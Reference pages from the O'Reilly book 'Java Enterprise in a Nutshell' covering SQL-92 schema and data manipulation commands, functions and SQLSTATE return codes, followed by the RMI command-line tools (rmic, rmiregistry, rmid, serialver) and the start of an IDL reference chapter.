Note that the data types given here are not the same as those in Table 2-1 in Chapter 2, "JDBC". When mapping between SQL types and Java types, a JDBC driver matches the physical data type (either SQL-92 or database-specific) and the closest Java type. For example, calling the getType() method of ResultSet on a BITVARYING field generally returns a Types.LONGVARBINARY value. This translation allows most JDBC programs to switch between different databases without losing functionality. Also, many databases implement additional types: the FLOAT type is so common that many people think it is required by the specification.

Previous | Home | Next
8.1. Relational Databases | Book Index | 8.3. Schema Manipulation Commands
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Schema Manipulation Commands (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

8.3. Schema Manipulation Commands

SQL includes two broad classes of commands. The first are schema manipulation commands, which allow the creation, modification, and deletion of high-level database objects such as tables. This section describes these commands. I've provided a syntax summary for each command. In case you aren't familiar with the style, items in square brackets are optional or not always required, while items in curly braces are either always required or required within the context of some optional item. A vertical bar (|) indicates a choice, while an ellipsis indicates that an entry may be repeated any number of times. Items in all uppercase are part of the SQL statement, while items in lowercase constant width italic represent names and values that you supply when using the statement.

8.3.1. CREATE TABLE

As its name says, the CREATETABLE command creates a table. Here's the syntax:

CREATE [ [ GLOBAL | LOCAL ] TEMPORARY ] TABLE table_name
 ( { column_name { data_type | domain_name } [ column_size ]
      [ column_constraint ... ] ... }
    [ DEFAULT default_value ], ...
    [ table_constraint ], ...
    [ ON COMMIT { DELETE | PRESERVE } ROWS ] )

Here's a simple example:

CREATE TABLE BOOKS
 (
   TITLE VARCHAR (25) PRIMARY KEY,
   AUTHOR VARCHAR(25) NOT NULL DEFAULT `Unknown',
   EDITION INTEGER,
   PRICE NUMBER(6,2)
 )

The PRIMARYKEY and NOTNULL identifiers are column constraints. The NOTNULL constraint prevents any entry in a column being set to null. Here, it's combined it with a default value. PRIMARYKEY identifies the column that's used as the primary key (or main unique identifier) for the table. If a table has a primary key column (it doesn't have to), there can be only one such column, no row has a null value in the primary key column, and no two rows have the same primary key.

A table constraint affects every row in the table. UNIQUE is a common example:

CREATE TABLE BOOKS
 (
   TITLE VARCHAR (25),
   AUTHOR VARCHAR(25),
   EDITION INTEGER,
   PRICE NUMBER(6,2),
   UNIQUE
 )

Used as a table constraint, UNIQUE indicates that each row in the table must have a unique combination of values. You can also specify particular columns that must form a unique combination:

UNIQUE(TITLE, AUTHOR, EDITION)

This mandates only unique title/author/edition combinations. Note that UNIQUE can also be used as a column constraint.

We can use PRIMARYKEY as a table constraint to specify more than one column as the primary key:

CREATE TABLE BOOKS
 (
   TITLE VARCHAR (25) NOT NULL,
   AUTHOR VARCHAR(25) NOT NULL,
   EDITION INTEGER NOT NULL,
   PRICE NUMBER(6,2),
   PRIMARY KEY (TITLE, AUTHOR, EDITION)
 )

Since entry-level SQL-92 requires that primary keys remain not null, we use NOTNULL column constraints on the primary key columns in this case.

8.3.2. ALTER TABLE

The ALTERTABLE command allows you to modify the structure of an existing table. Here's the syntax:

ALTER TABLE table_name
   { ADD [COLUMN] column_name definition }
   { ALTER [COLUMN] column_name definition
      { SET DEFAULT default_value } | { DROP DEFAULT } }
   { DROP [COLUMN] COLUMN_NAME [ RESTRICT | CASCADE ] }
   { ADD table_constraint_definition }
   { DROP constraint_name  [ RESTRICT | CASCADE] }

Note that the modifications you can make are somewhat limited. While you can add and remove columns (subject to the requirements of any constraints that may have been placed on the table), you cannot reorder columns. To perform major changes, you generally need to create a new table and move the existing data from the old table to the new table.

Here's a statement that adds two columns to a table:

ALTER TABLE BOOKS
 ADD PUBLISHED_DATE DATE,
 ADD PUBLISHER CHAR (30) NOT NULL

Note that the ability to specify multiple operations in an ALTER TABLE command is not part of the SQL specification, although most databases support this functionality.

Here's how to change the type of a column:[3]

[3] If you look back at the syntax for ALTER TABLE, you'll see that the official syntax for this kind of operation is ALTER, although most databases use MODIFY instead.

ALTER TABLE BOOKS
 MODIFY PUBLISHER VARCHAR (25)

When this statement runs, the database attempts to convert all existing data into the new format. If this is impossible, the modification fails. In the previous example, if any record has a publisher entry of more than 30 characters, the statement might fail (exact behavior depends on the implementation). If you are converting from a character field to, say, an integer field, the whole ALTER TABLE command might fail entirely. At the minimum, such a change requires that all entries contain a valid string representation of an integer.

To allow null values in the PUBLISHER column, use MODIFY:

ALTER TABLE BOOKS
 MODIFY PUBLISHER NULL

To remove the PUBLISHER column entirely, use DROP:

ALTER TABLE BOOKS
 DROP PUBLISHER

The ALTERTABLE command is not required for entry-level SQL-92 conformance. Due to its extreme usefulness, however, it is supported by most DBMS packages, although it often varies from the standard. More esoteric features, such as the RENAME command, are not supported by most packages. In general, it is not safe to count on anything beyond the basic ADD, DROP, and MODIFY (ALTER) commands.

8.3.3. DROP

The DROP command allows you to permanently delete an object within the database. For example, to drop the BOOKS table, execute this statement:

DROP TABLE BOOKS

DROP also can delete other database objects, such as indexes, views, and domains:

DROP INDEX index_name
DROP VIEW view_name
DROP DOMAIN domain_name

Once something has been dropped, it is usually gone for good--certainly once the current transaction has been committed, but often before.

Previous | Home | Next
8.2. Data Types | Book Index | 8.4. Data Manipulation Commands
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Data Manipulation Commands (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

8.4. Data Manipulation Commands

Empty tables aren't very useful, and, even once they've been populated with data, we need some way of getting that data back out. The SQL data manipulation commands allow you to read data from a table and to create, update, and remove existing data.

8.4.1. SELECT

The SELECT statement is the most important statement in SQL and also the most complex. It allows you to retrieve data from a table or a set of tables. Here's the syntax:

SELECT [ DISTINCT ]
   { summary_function, ... }
   | { data_manipulation_expression, ... }
   | { column_name, ... }
FROM
   { { table_name [ AS correlation_name ] }
   | { subquery [ AS correlation_name ] }
   | joined_tables}
[ WHERE predicate ]
[ GROUP BY column_name, ... [ HAVING group_selection_predicate ] ]
[ { UNION | INTERSECT | EXCEPT } [ ALL ]
     [ CORRESPONDING [ BY (column_name, ...] ]
      select_statement | { TABLE table_name }
                       | table_value_constructor ]
[ ORDER BY {{output_column [ ASC | DESC ]}, ...}
           | {{positive_integer [ ASC | DESC ]}, ...}]

The simplest possible SELECT, one that displays all columns of all rows of a single table, looks like this:

SELECT * FROM BOOKS

If this statement is executed in a command-line SQL interpreter, the output might look like this:

TITLE                | AUTHOR           | EDITION | PRICE
---------------------+------------------+---------+-------
Me                   | Garrison Keillor |       1 | 24.99
Bleak House          | Charles Dickens  |      57 |  8.99
A Tale Of Two Cities | Charles Dickens  |     312 |  4.99

To sort the output by title, we can add an ORDERBY clause to the statement:

SELECT * FROM BOOKS ORDER BY TITLE

Now the output is:

TITLE                | AUTHOR           | EDITION | PRICE
---------------------+------------------+---------+-------
A Tale Of Two Cities | Charles Dickens  |     312 |  4.99
Bleak House          | Charles Dickens  |      57 |  8.99
Me                   | Garrison Keillor |       1 | 24.99

To select just the TITLE and AUTHOR columns:

SELECT TITLE, AUTHOR FROM BOOKS

To select a subset of records, use the WHERE clause:

SELECT * FROM BOOKS WHERE PRICE < 10.0

This returns the Charles Dickens books, but not the Garrison Keillor book. You can have multiple criteria:

SELECT * FROM BOOKS WHERE PRICE < 10.0 OR EDITION = 1

This returns all three books. If we had specified a price less than 10 and an edition equal to 1, we wouldn't have received any records back. The various predicates you can use are listed in Table 8-2. Note that not all of the more esoteric ones (such as LIKE) are supported by all databases.

Table 8-2. SQL Predicates

Operator | Meaning
= | Equals
< | Less than
> | Greater than
<= | Less than or equal to
>= | Greater than or equal to
!= or < > | Not equal to (some implementations may only support one of these)
LIKE | Wildcard match
ISNULL | Checks for a null value
IN | Checks to see if a value is contained within a set
BETWEEN | Checks to see if a date value is between two other date values

The final four predicates in the table can be used with the NOT modifier (e.g., NOTLIKE, ISNOTNULL, etc.).

8.4.1.1. String comparisons

The = operator can generally be used for exact string comparisons. The LIKE operator allows wildcard searches using two wildcard characters: % to match any number of characters and _ to match at most one character. Here's a query that selects all records that have a LAST_NAME that contains the letters "for":

SELECT LAST_NAME FROM CUSTOMERS WHERE LAST_NAME LIKE`%for%'

This matches last names like Buford, Crawford, and Trefor, but may not match Fordham, since most databases implement LIKE in a case-sensitive manner (Microsoft Access is a notable exception to this rule). Case-insensitive searches generally require a single-case version of the column or the use of a case-adjusting function (we'll discuss functions later in this chapter).

8.4.1.2. Subqueries and joins

The IN predicate allows you to check whether a value appears in another set of values. The simplest way to use this feature is in a SQL statement like this:

SELECT * FROM BOOKS WHERE PRICE IN (5.95, 4.95, 7.95)

This is simply another form for:

SELECT * FROM BOOKS WHERE PRICE = 5.95 OR PRICE = 4.95 OR PRICE = 7.95

But we can do something more interesting with IN. Let's assume that we have a table, called PRICES, that holds all the prices we want to search on. In this case, we can generate the set of values using another query, as follows:

SELECT * FROM BOOKS WHERE PRICE IN
  SELECT PRICE FROM PRICES

Note that we didn't put parentheses around the second SELECT statement: use parentheses only when you are specifying the entire list manually.

Subqueries like this are useful, but they still restrict the output columns to those of a single table.

Rather than using subqueries, two tables are normally connected via a join. A join allows a query to include references to multiple tables and to restrict the output based on the relations between those tables. The basic join is an equi-join (or inner join): data in two tables is linked based on a shared value. An order-tracking database might include a CUSTOMERS table and an ORDERS table. The CUSTOMERS table has a customer identifier (CUSTOMER_ID) as its primary key. The orders table also has a CUSTOMER_ID column, although not as a primary key, since there may be more than one order per customer (see Figure 8-1 for a graphical representation of these tables). Here's the SQL to combine the two tables based on the CUSTOMER_ID column:

SELECT * FROM CUSTOMERS, ORDERS WHERE ORDERS.CUSTOMER_ID =
   CUSTOMERS.CUSTOMER_ID

Since it's an equi-join, it works just as well the other way around:

SELECT * FROM CUSTOMERS, ORDERS WHERE CUSTOMERS.CUSTOMER_ID =
   ORDERS.CUSTOMER_ID

In SQL-92, there is a JOIN operator that performs the same operation with a slightly different syntax:[4]

[4] Note that some databases allow you to use JOIN without the ON clause. In this case, the join operates on columns that have the same name.

SELECT CUSTOMERS.CUSTOMER_ID, CUSTOMERS.NAME, ORDERS.ORDER_ID, ORDERS.TOTAL
  FROM CUSTOMERS INNER JOIN ORDERS ON CUSTOMERS.CUSTOMER_ID = ORDERS.CUSTOMER_ID

This example indicates the specific columns to return. Using the data shown in Figure 8-1, the output of this query might look like this:

CUSTOMER_ID | NAME       | ORDER_ID | TOTAL
------------+------------+----------+--------
          1 | Bob Copier |        4 | 72.19
          1 | Bob Copier |        6 | 21.07

Note that some databases require you to use INNERJOIN instead of JOIN, while others allow just JOIN because inner joins are the default join.

To join on more than one table, use multiple JOIN statements. Here we add an ITEMS table that includes the ORDER_ID from the ORDERS table:

SELECT * FROM ITEMS JOIN ORDERS JOIN CUSTOMERS

This query joins the CUSTOMERS and ORDERS tables based on CUSTOMER_ID, and the ORDERS and ITEMS tables based on ORDER_ID. The join is performed from left to right, so this three-table join goes from the largest table to the smallest table.

As useful as the JOIN keyword is, it is not required for entry-level SQL-92 implementations, so here's a three-column join using the syntax we started with:

SELECT CUSTOMERS.CUSTOMER_ID, CUSTOMERS.NAME, ORDERS.ORDER_ID, ORDER.TOTAL,
  ITEMS.ITEM_NO, ITEMS.COST FROM CUSTOMERS, ORDERS, ITEMS
  WHERE ORDERS.CUSTOMER_ID = CUSTOMERS.CUSTOMER_ID
  AND ITEMS.ORDER_ID = ORDERS.ORDER_ID

Again, using the data shown in Figure 8-1, the output from this query might look as follows:

CUSTOMER_ID | NAME       | ORDER_ID | TOTAL | ITEM_NO | COST
------------+------------+----------+-------+---------+-------
          1 | Bob Copier |        4 | 72.19 |    1280 | 16.72
          1 | Bob Copier |        4 | 72.19 |    4129 | 41.10
          1 | Bob Copier |        4 | 72.19 |    3017 | 14.37

So far, all we've talked about is equi-joins, or inner joins. There are also outer joins, which do not require a matching key in both tables. An outer join includes all the records from one table and any records from another table that match the primary key of the first table. If there are no corresponding records in the second table, those columns are simply left blank in the result. Outer joins are divided into left outer and right outer joins: in a left join, the primary key table is on the left, and in a right join, it is on the right. Here's the syntax for a LEFTJOIN (or LEFTOUTERJOIN) on CUSTOMERS and ORDERS:

SELECT CUSTOMERS.CUSTOMER_ID, CUSTOMERS.NAME, ORDERS.ORDER_ID, ORDERS.TOTAL
  FROM CUSTOMERS LEFT JOIN ORDERS ON CUSTOMERS.CUSTOMER_ID = ORDERS.CUSTOMER_ID

This includes all the customer records and order records for all the customers that have them. Here's some possible output using the data shown in Figure 8-1:

CUSTOMER_ID | NAME         | ORDER_ID | TOTAL
------------+--------------+----------+--------
          1 | Bob Copier   |        4 | 72.19
          1 | Bob Copier   |        6 | 21.07
          2 | John Stapler |          |

If we were to do a RIGHTJOIN on CUSTOMERS and ORDERS, the result would be the same as an inner join, since there are no records in ORDERS that don't have a match in CUSTOMERS.

8.4.1.3. Groups

The GROUP BY clause allows you to collapse multiple records into groups with a common field. For instance, to select all the records in the BOOKS table grouped by AUTHOR:

SELECT AUTHOR FROM BOOKS GROUP BY AUTHOR

This returns one row for each distinct author in the table. This query is not really that useful though, since we can do the same thing with the DISTINCT keyword (SELECTDISTINCT). However, we can use an aggregate function on each of the groups to do something more useful:

SELECT AUTHOR, COUNT(*) FROM BOOKS GROUP BY AUTHOR

This query returns two columns: the author and the number of books by that author in the table. Here's the output, based on the BOOKS table we used earlier:

AUTHOR           | COUNT(*)
-----------------+----------
Charles Dickens  |        2
Garrison Keillor |        1

We'll talk more about aggregate functions later in this chapter.

8.4.2. INSERT

The INSERT statement loads data into a table. Here's the syntax:

INSERT INTO table_name
   [ (column_name, ...) ]
   subquery | { VALUES (val1, val2,...) } | DEFAULT VALUES

To load static data, simply specify the table and the actual data:

INSERT INTO CUSTOMERS VALUES (3, 'Tom Fax', '617 555-1214')

This statement inserts the values 3, "Tom Fax", and "617 555-1214" into the first three fields of a new row in the CUSTOMERS table. If there are more than three fields in the CUSTOMERS table, this statement fails. If you don't want to insert into every column, you can specify the columns you want to insert into:

INSERT INTO CUSTOMERS (CUSTOMER_ID, NAME) VALUES (3, 'Tom Fax')

Note, however, that this kind of statement can fail if we do not provide a value for a field that is specified as NOTNULL.

To add more than one row at a time and to add data from other tables, we can specify a subquery rather than a set of specific values. To fill the JUNKMAIL table with values from the CUSTOMERS and ADDRESSES tables, run this query:

INSERT INTO JUNKMAIL (NAME, ADDR, CITY, STATE, ZIP)
  SELECT NAME, ADDR, CITY, STATE, ZIP FROM CUSTOMERS JOIN ADDRESSES

The database first performs a join on CUSTOMERS and ADDRESSES. It matches on the CUSTOMER_ID field and outputs the NAME field from CUSTOMERS and the other fields from ADDRESSES. The rows from the join are then inserted into the JUNKMAIL table, which can now be used to fill our mailboxes with catalogs.

8.4.3. UPDATE

The UPDATE statement modifies data in one or more existing rows. It consists of one or more SET statements and an optional WHERE clause. If the WHERE clause is not present, the operation is performed on every row in the table. Here's the syntax:

UPDATE table_name
   SET { column_name = { value | NULL | DEFAULT }, ...}
   [ { WHERE predicate }
     | { WHERE CURRENT OF cursor_name } ]

Here's an example that updates a few fields:

UPDATE ADDRESSES
   SET ADDR = '1282 Country Club Drive', STATE='CA' WHERE CUSTOMER_ID
   = 432

This statement sets the ADDR and STATE fields of the ADDRESSES table to particular values on all records where CUSTOMER_ID equals 432. Sometimes we do want to run an UPDATE on all records. Here's an example that makes sure all the STATE fields are in uppercase:

UPDATE ADDRESSES SET STATE = UPPER(STATE)

Note how we can use a field from the table itself in the SET statement.

The WHERECURRENTOF clause allows you to update the row at the current cursor location in a multiple-table row. This is not something that JDBC programmers need to concern themselves with, although it can be of interest to an underlying JDBC 2.0 driver.

8.4.4. DELETE

DELETE is very simple: it removes rows from a table. Here's the syntax:

DELETE FROM table_name
   [ { WHERE predicate }
   | { WHERE CURRENT OF cursor_name } ]

To delete all the rows in ORDERS:

DELETE FROM ORDERS

To delete a specific record:

DELETE FROM ORDERS WHERE ORDER_ID = 32

Once a row has been deleted, there is no way to recover it.

Previous | Home | Next
8.3. Schema Manipulation Commands | Book Index | 8.5. Functions
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Functions (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

8.5. Functions

SQL is not a procedural language, but it does provide some data transformation capabilities. In addition to the string concatenation operator (||), the SQL-92 specification defines two sets of functions: aggregate functions and value functions.

8.5.1. Aggregate Functions

In the section on the SELECT statement, we saw an aggregate function used to count the number of records within a group. In the main, this is what aggregate functions do: they act on all the records of query, counting rows, averaging fields, and so forth. For example, here's how to count the number of rows returned by a SELECT statement:

SELECT COUNT(*) FROM CUSTOMERS

Instead of returning each row of the CUSTOMERS table, this query returns a single-column, single-row result that contains the number of records in CUSTOMERS.

The other aggregate functions are AVG, SUM, MAX, and MIN. Unlike COUNT, which works on either a single column or all columns, the other functions work only on a single column. AVG and SUM can be applied against numerical data types only (integers, reals, etc.), while MAX and MIN work with any data type. Here are some examples:

SELECT MIN(AGE) FROM GUESTS
SELECT MAX(NAME) FROM GUESTS
SELECT AVG(AGE), SUM(AGE) FROM GUESTS

8.5.2. Value Functions

Value functions work on particular column values and return modified data. Some of them also generate values from system information.

8.5.2.1. Date/time functions

There are three date and time functions that retrieve the current date, current time, and current timestamp, respectively, from the database:

CURRENT_DATE
CURRENT_TIME[(precision)]
CURRENT_TIMESTAMP[(precision)]

CURRENT_TIME and CURRENT_TIMESTAMP accept an optional precision level, which specifies the decimal fractions of a second to be included in the time portion of the value. The current time zone is used with all these functions.

Here's how you might use these functions in a query:

SELECT * FROM ORDERS WHERE ORDER_DATE = CURRENT_DATE
INSERT INTO VISITORS (VISIT_TS) VALUES (CURRENT_TIMESTAMP)

Some databases have platform-specific commands that duplicate this functionality (these commands often predate SQL-92). Oracle's SYSDATE is one example. Note that these functions are not required for entry-level SQL-92.

8.5.2.2. String manipulation functions

The concatenation operator, ||, has been around since before the SQL-92 standard. It allows you to concatenate multiple column values and string literals. Say we have a table that contains FIRST_NAME and LAST_NAME fields, and we want to display them in a "last, first" form. Here's a SQL statement that returns a single column that does just that:

SELECT LAST_NAME || ', ' || FIRST_NAME FROM CUSTOMERS

In addition, the SQL-92 standard defines a number of other functions that can be used in SQL statements. UPPER and LOWER convert a column into uppercase or lowercase, respectively:

SELECT UPPER(LAST_NAME) FROM CUSTOMERS
SELECT LOWER(FIRST_NAME) FROM CUSTOMERS

These functions can also be used in WHERE predicates, for example, to produce a case-insensitive search:

SELECT * FROM CUSTOMERS WHERE UPPER(FIRST_NAME) LIKE 'WILL%'

Most databases support UPPER and LOWER, but they are only required for full SQL-92 conformance, not entry-level conformance.

The TRIM function removes characters from one or both ends of a string:

TRIM ([ [ LEADING | TRAILING | BOTH ] [ character ] FROM ] string )

Calling TRIM on a string trims leading and trailing whitespace. Here's how to trim just leading blanks:

SELECT TRIM(LEADING ' ' FROM FIRST_NAME) FROM CUSTOMERS

And here's how to trim all "-" characters from both sides of a string:

SELECT TRIM(BOTH '-' FROM FIRST_NAME) FROM CUSTOMERS

Like UPPER and LOWER, TRIM is only required for full SQL-92 conformance, although it is supported by most database implementations.

The SUBSTRING command extracts a given number of characters from a larger string. It is defined as:

SUBSTRING (source_string FROM start_pos FOR number_of_characters)

For example, to get each customer's initials, we might use the following query:

SELECT SUBSTRING (FIRST_NAME FROM 1 FOR 1), SUBSTRING(LAST_NAME FROM 1 FOR 1)

SUBSTRING is only required for intermediate level SQL-92 conformance.

Previous | Home | Next
8.4. Data Manipulation Commands | Book Index | 8.6. Return Codes
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Return Codes (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

8.6. Return Codes

The SQL-92 standard defines a set of SQLSTATE return codes. SQLSTATE is defined as a five-character string, where the leftmost two characters define the error class, and the remaining three characters define the error subclass. Some database vendors may extend these return codes; classes beginning with the numbers 5 through 9 and letters I through Z are reserved for such implementation-specific extensions. The SQLSTATE code for a particular JDBC action can be retrieved via the getSQLState() method of SQLException. Table 8-3 lists the SQLSTATE return codes defined in SQL-92.

Table 8-3. SQL-92 SQLSTATE Return Codes

Class | Class Definition | Subclass | Subclass Definition
00 | Successful completion | 000 | None
01 | Warning | 000 | None
 |  | 001 | Cursor operation conflict
 |  | 002 | Disconnect error
 |  | 003 | Null value eliminated in set function
 |  | 004 | String data, right truncation
 |  | 005 | Insufficient item descriptor areas
 |  | 006 | Privilege not revoked
 |  | 007 | Privilege not granted
 |  | 008 | Implicit zero-bit padding
 |  | 009 | Search expression too long for information schema
 |  | 00A | Query expression too long for information schema
02 | No data | 000 | None
07 | Dynamic SQL error | 000 | None
 |  | 001 | Using clause doesn't match dynamic parameters
 |  | 002 | Using clause doesn't match target specifications
 |  | 003 | Cursor specification can't be executed
 |  | 004 | Using clause required for dynamic parameters
 |  | 005 | Prepared statement not a cursor specification
 |  | 006 | Restricted data type attribute violation
 |  | 007 | Using clause required for result fields
 |  | 008 | Invalid descriptor count
 |  | 009 | Invalid descriptor index
08 | Connection Exception | 000 | None
 |  | 001 | SQL-client unable to establish SQL-connection
 |  | 002 | Connection name in use
 |  | 003 | Connection doesn't exist
 |  | 004 | SQL-server rejected establishment of SQL-connection
 |  | 006 | Connection failure
 |  | 007 | Transaction resolution unknown
0A | Feature not supported | 000 | None
 |  | 001 | Multiple server transactions
21 | Cardinality violation | 000 | None
22 | Data exception | 000 | None
 |  | 001 | String data, right truncation
 |  | 002 | Null value, no indicator
 |  | 003 | Numeric value out of range
 |  | 005 | Error in assignment
 |  | 007 | Invalid date-time format
 |  | 008 | Date-time field overflow
 |  | 009 | Invalid time zone displacement value
 |  | 011 | Substring error
 |  | 012 | Division by zero
 |  | 015 | Internal field overflow
 |  | 018 | Invalid character value for cast
 |  | 019 | Invalid escape character
 |  | 021 | Character not in repertoire
 |  | 022 | Indicator overflow
 |  | 023 | Invalid parameter value
 |  | 024 | Unterminated C string
 |  | 025 | Invalid escape sequence
 |  | 026 | String data, length mismatch
 |  | 027 | Trim error
23 | Integrity constraint violation | 000 | None
24 | Invalid cursor state | 000 | None
25 | Invalid transaction state | 000 | None
26 | Invalid SQL statement name | 000 | None
27 | Triggered data change violation | 000 | None
28 | Invalid authorization specification | 000 | None
2A | Syntax error or access rule violation in direct SQL statement | 000 | None
2B | Dependent privilege descriptors still exist | 000 | None
2C | Invalid character set name | 000 | None
2D | Invalid transaction termination | 000 | None
2E | Invalid connection name | 000 | None
33 | Invalid SQL descriptor name | 000 | None
34 | Invalid cursor name | 000 | None
35 | Invalid condition number | 000 | None
37 | Syntax error or access rule violation in dynamic SQL statement | 000 | None
3C | Ambiguous cursor name | 000 | None
3F | Invalid schema name | 000 | None
40 | Transaction rollback | 000 | None
 |  | 001 | Serialization failure
 |  | 002 | Integrity constraint violation
 |  | 003 | Statement completion unknown
42 | Syntax error or access rule violation | 000 | None
44 | With check option violation | 000 | None

Previous | Home | Next
8.5. Functions | Book Index | 9. RMI Tools
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


RMI Tools (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

Chapter 9. RMI Tools

rmic JDK 1.1 and later
The Java RMI Compiler
rmic [ options ] fully-qualified-classnames

Description: The rmic compiler generates the stub and skeleton classes for remote objects you've written. Once you've compiled your remote objects using a standard Java compiler, like javac, you need to run rmic, specifying the classnames of your remote implementation classes using their full package names.

Description: As an example, suppose you defined an interface named utils.remote.TimeServer that extends java.rmi.Remote, and wrote an implementation of this interface named utils.remote.TimeServerImpl. After compiling both with a Java compiler, you would run rmic, specifying utils.remote.TimeServerImpl as the class name argument.

Description: Running rmic generates a skeleton class for each remote object type named xxx_Skel, where the xxx is the name of the remote interface. The skeleton is responsible for receiving client requests on a server object and dispatching these requests to the actual remote object. A stub class, named xxx_Stub, is also generated. The stub class is used for client references to the remote object. When a client gets a reference to a remote object, it receives an instance of the stub class, which forwards any method requests to the server object over the network. In our example, the stub and skeleton classes would be called utils.remote.TimeServer_Stub and utils.remote.TimeServer_Skel, respectively.

Description: Both the stub class and the skeleton class implement the same remote interface as your remote object implementation, so they can be typecast to the remote interface.

-classpath pathlist

Provides the classpath rmic uses to find any required classes, overriding the environment CLASSPATH or the default classpath. The directories in the list are separated by colons on Unix environments, by semicolons in Windows environments.

-d path

The destination directory where the compiler should write the generated class files. If a -d option is given, the package of the generated classes places the stubs and skeletons in their proper subdirectories in the given destination. If the directories don't exist, rmic creates them for you. If no -d option is given, the stubs and skeletons are still generated to fall within the same package as the remote implementation, but the class files are placed in the current directory.

-depend

Forces the compiler to attempt to recompile interdependent classes whose class files are out of date with each other. Without this option, the compiler attempts to recompile only class files explicitly referenced in the command-line options.

-g

Includes debugging information in the generated stub and skeleton classes, for use with Java debuggers.

-J

Passes the option immediately following the -J to the Java interpreter. There should be no spaces between the -J and the option to be passed to the interpreter.

-keep
-keepgenerated

Keeps the Java source files for the stub and skeleton classes generated by the compiler. The Java files are written to the same directory as the class files, with or without a -d option specified. Without the -keepgenerated option, the Java source files are removed after the stub and skeleton classes are generated.

-nowarn

Instructs the rmic compiler to eliminate warning messages from its output. Only errors encountered during compilation are reported.

-vcompat

Creates a stub and skeleton classes that are compatible with both JDK 1.1 and the Java 2 SDK 1.2 versions of RMI. This option is enabled by default and does not need to be specified.

-verbose

Prints verbose messages as compilation takes place, including which class is being compiled and class files that are loaded during compilation.

-v1.1

Creates stub and skeleton classes that are compatible with the JDK 1.1 version of RMI. These classes may not run in a Java 2 runtime environment.

-v1.2

Creates stub and skeleton classes that are compatible with the Java 1.2 (Java 2) version of RMI. These classes may not run in a Java 1.1 runtime environment.

CLASSPATH

An ordered list of directories, ZIP files, and/or JAR files that the rmic compiler should use to look for classes. This list is separated by colons on Unix environments, semicolons on Windows environments. The list is searched in order for a given class when it is encountered during compilation. The compiler automatically appends the system classpath to the CLASSPATH, if it is specified. If the CLASSPATH is not set in the environment, the compiler uses the current directory and the system classpath as its classpath. The CLASSPATH environment variable is overridden by the -classpath option to rmic.

rmiregistry JDK 1.1 and later
The Java RMI Object Registry
rmiregistry [ port ]

Description: The rmiregistry command starts a remote object naming registry on the current host. The RMI registry binds remote objects to names, so that remote clients can request object references by name, using a URL-like syntax, and use the object references to invoke methods.

Description: Internally, the rmiregistry command uses the java.rmi.registry.LocateRegistry class to instantiate a registry object. If no port is provided, the default port for the registry is 1099. Typically, the registry is run in the background on a server and remains running for the lifetime of the objects that it contains. If the registry crashes, and the registry is running in a separate Java VM from the actual remote objects, the remote objects are still available over RMI, and any remote references to these objects that existed before the crash are still valid. But all the name bindings the objects had in the registry are lost and need to be recreated after a new registry is started.

CLASSPATH

An ordered list of directories, ZIP files, and/or JAR files that the rmiregistry command should use to look for classes. This list is separated by colons on Unix environments, semicolons on Windows environments. The list is searched in order for a given class when it is encountered during execution. The registry automatically appends the system classpath to the CLASSPATH, if it is specified. If the CLASSPATH is not set in the environment, the daemon uses the current directory and the system classpath as its classpath.

See Also: java.rmi.registry.LocateRegistry, java.rmi.Naming.

rmid Java2 SDK 1.2 and later
The RMI Activation Daemon
rmid [ options ]

Description: The rmid command starts an RMI activation daemon on the local host. The activation daemon services all requests to register activatable objects and is responsible for activating objects due to client requests to invoke methods on them.

Description: If no port option is given, the activation daemon runs on a default port of 1098. Internally, the activation daemon creates a java.rmi.activation.Activator and its own RMI naming registry (listening to port 1098). The daemon binds a java.rmi.activation.ActivationSystem object to the name "java.rmi.activation.ActivationSystem" in its internal registry.

-C cmdlineOption

Uses the given option as a command-line option to the Java VM for each activation group started by the daemon. This can pass default properties to the VM, for example, or set its memory limits to some default value. The Java interpreter option should immediately follow the -C option, with no spaces.

-log path

Uses the given directory for any logging or temporary files needed by the activation daemon. If this option is not specified, the daemon writes its log files to a new directory named log in the current directory.

-port portnum

Uses this port for the internal registry started by the activation daemon. If this option is not given, the daemon's internal naming registry runs by default on port 1098 of the local host. If you want the activation daemon's registry to listen to the default registry port, you can start the daemon with this command (Unix version):

$ rmid -port 1099 &
-stop

Stop any activation daemon currently running on the specified port, or the default port if none is specified.

CLASSPATH

An ordered list of directories, ZIP files, and/or JAR files that the rmid daemon should use to look for classes. This list is separated by colons on Unix environments, semicolons on Windows environments. The list is searched in order for a given class when it is encountered during execution. The daemon automatically appends the system classpath to the CLASSPATH, if it is specified. If the CLASSPATH is not set in the environment, the daemon uses the current directory and the system classpath as its classpath.

See Also: rmic, java.rmi.activation.Activator

serialver JDK 1.1 and later
The RMI Serial Version Utility
serialver [ options ] fully-qualified-classnames

Description: The serialver utility generates a serial version ID you can use to mark a given class definition to track its versions as it evolves. The utility returns a static int member declaration you can paste into your Java class definition. In other words, this command:

% serialver AccountImpl

Description: generates output something like:

AccountImpl: static final long serialVersionUID = 37849129093280989384L;

Description: If versioning of your remote object classes becomes a problem for clients, this utility can tag a class with a version ID that can be checked to see if the proper version is being exported by your server for a given client, or if its local version is out of date. Serial version IDs are used by Java object serialization to uniquely identify class definitions.

-show

Uses the graphical version of the tool, which displays a GUI interface that allows you to type in a fully qualified classname and press a button to see the serial version ID generated.

CLASSPATH

An ordered list of directories, ZIP files, and/or JAR files that the serialver utility should use to look for classes. This list is separated by colons on Unix environments, semicolons on Windows environments. The list is searched in order for a given class when it is encountered during execution. The utility automatically appends the system classpath to the CLASSPATH, if it is specified. If the CLASSPATH is not set in the environment, the utility uses the current directory and the system classpath as its classpath.

Previous | Home | Next
8.6. Return Codes | Book Index | 10. IDL Reference
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


IDL Reference (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

Chapter 10. IDL Reference

Contents:

IDL Keywords
Identifiers
Comments
Basic Data Types
Constants and Literals
Naming Scopes
User-Defined Data Types
Exceptions
Module Declarations
Interface Declarations

